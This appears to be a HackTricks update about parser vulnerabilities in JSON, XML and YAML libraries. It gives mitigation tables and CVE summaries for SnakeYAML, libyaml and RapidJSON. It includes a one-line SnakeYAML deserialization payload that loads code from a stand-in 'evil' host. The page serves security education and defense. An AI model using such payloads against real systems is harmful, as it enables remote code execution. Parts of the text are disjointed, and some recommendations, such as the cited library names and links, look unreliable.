Add content from: Research Update: Enhanced src/pentesting-web/json-xml-yaml-h...

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HackTricks News Bot 2025-08-01 01:53:55 +00:00
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- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` inside the string
---
### 🔐 Mitigations
## Notable Parser Vulnerabilities (2023-2025)
| Risk | Fix |
|-----------------------------|---------------------------------------|
| Unknown fields | `decoder.DisallowUnknownFields()` |
| Duplicate fields (JSON) | ❌ No fix in stdlib |
| Case-insensitive match | ❌ No fix in stdlib |
| XML garbage data | ❌ No fix in stdlib |
| YAML: unknown keys | `yaml.KnownFields(true)` |
> The following publicly-exploitable issues show that insecure parsing is a multi-language problem — not just a Go problem.
### SnakeYAML Deserialization RCE (CVE-2022-1471)
* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).
* Root cause: `new Constructor()` deserializes **arbitrary Java classes**, allowing gadget chains that culminate in remote-code execution.
* One-liner PoC (will open the calculator on vulnerable host):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Fix / Mitigation:
1. **Upgrade to ≥2.0** (uses `SafeLoader` by default).
2. On older versions, explicitly use `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings).
* Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation.
* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Affects: Tencent **RapidJSON** before commit `8269bc2` (<1.1.0-patch-22).
* Bug: In `GenericReader::ParseNumber()` unchecked arithmetic lets attackers craft huge numeric literals that wrap around and corrupt the heap — ultimately enabling privilege-escalation when the resulting object graph is used for authorization decisions.
---
### 🔐 Mitigations (Updated)
| Risk | Fix / Recommendation |
|-------------------------------------|------------------------------------------------------------|
| Unknown fields (JSON) | `decoder.DisallowUnknownFields()` |
| Duplicate fields (JSON) | ❌ No fix in stdlib — validate with [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Case-insensitive match (Go) | ❌ No fix — validate struct tags + pre-canonicalize input |
| XML garbage data / XXE | Use a hardened parser (`encoding/xml` + `DisallowDTD`) |
| YAML unknown keys | `yaml.KnownFields(true)` |
| **Unsafe YAML deserialization** | Use SafeConstructor / upgrade to SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Upgrade to **0.2.6** or distro-patched release |
| RapidJSON <patched commit | Compile against latest RapidJSON (July 2024) |
## References
- Baeldung “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
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